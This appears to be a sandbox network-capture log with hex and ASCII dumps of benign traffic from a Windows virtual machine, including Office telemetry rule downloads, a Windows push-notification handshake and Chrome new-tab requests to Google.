2024-10-30 10:45:17 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49729	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:16 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:16 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 293ba476-701e-000d-0aff-296de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104516Z-r1755647c666sbmsukk894ba7n00000005k0000000006k2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:17 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49722	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 77 71 30 6f 4c 77 62 44 31 6b 57 4e 51 74 31 52 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 66 37 33 37 33 39 33 66 33 34 37 36 30 65 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: wq0oLwbD1kWNQt1R.1Context: 4f737393f34760e4
2024-10-30 10:45:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-30 10:45:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 77 71 30 6f 4c 77 62 44 31 6b 57 4e 51 74 31 52 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 66 37 33 37 33 39 33 66 33 34 37 36 30 65 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 36 2f 44 45 31 41 61 30 47 44 2f 76 37 30 55 2b 58 54 48 4f 5a 43 34 42 54 66 30 78 57 79 6c 64 42 51 4b 4f 46 6a 62 32 30 34 6b 2b 6d 35 4a 64 67 71 2f 41 66 4e 43 56 62 70 4d 67 76 75 6d 35 72 47 61 4b 68 47 62 36 67 4b 4d 67 6f 72 59 78 2f 43 46 58 55 4f 41 4a 4d 52 61 7a 77 50 31 52 53 53 76 7a 70 70 71 34 50 6f 63 55 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: wq0oLwbD1kWNQt1R.2Context: 4f737393f34760e4<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAc6/DE1Aa0GD/v70U+XTHOZC4BTf0xWyldBQKOFjb204k+m5Jdgq/AfNCVbpMgvum5rGaKhGb6gKMgorYx/CFXUOAJMRazwP1RSSvzppq4PocU
2024-10-30 10:45:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 77 71 30 6f 4c 77 62 44 31 6b 57 4e 51 74 31 52 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 66 37 33 37 33 39 33 66 33 34 37 36 30 65 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: wq0oLwbD1kWNQt1R.3Context: 4f737393f34760e4<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-30 10:45:17 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-30 10:45:17 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 36 77 2f 6f 30 44 73 31 63 6b 57 70 57 4e 6f 51 35 70 37 32 67 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 6w/o0Ds1ckWpWNoQ5p72gQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49730	142.250.184.228	443	3984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:17 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 10:45:17 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 10:45:17 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 10:45:17 UTC	336	IN	Data Raw: 32 35 61 31 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 25a1)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-30 10:45:17 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-30 10:45:17 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-30 10:45:17 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-30 10:45:17 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-30 10:45:17 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 32 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700322,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-10-30 10:45:17 UTC	1378	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"
2024-10-30 10:45:17 UTC	1037	IN	Data Raw: 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 Data Ascii: a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u003dfuncti
2024-10-30 10:45:17 UTC	381	IN	Data Raw: 31 37 36 0d 0a 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 Data Ascii: 176.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"
2024-10-30 10:45:17 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 7a 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 7a 65 5b 64 5d 2c 63 29 3a 5f 2e 75 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 75 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 7a 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 Data Ascii: 8000yle\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:ze.hasOwnProperty(d)?a.setAttribute(ze[d],c):_.ue(d,\"aria-\")\|\|_.ue(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};ze\u003d{cellpadding:\"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49731	142.250.184.228	443	3984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:17 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 10:45:17 UTC	1058	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 10:45:17 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 10:45:17 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-30 10:45:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

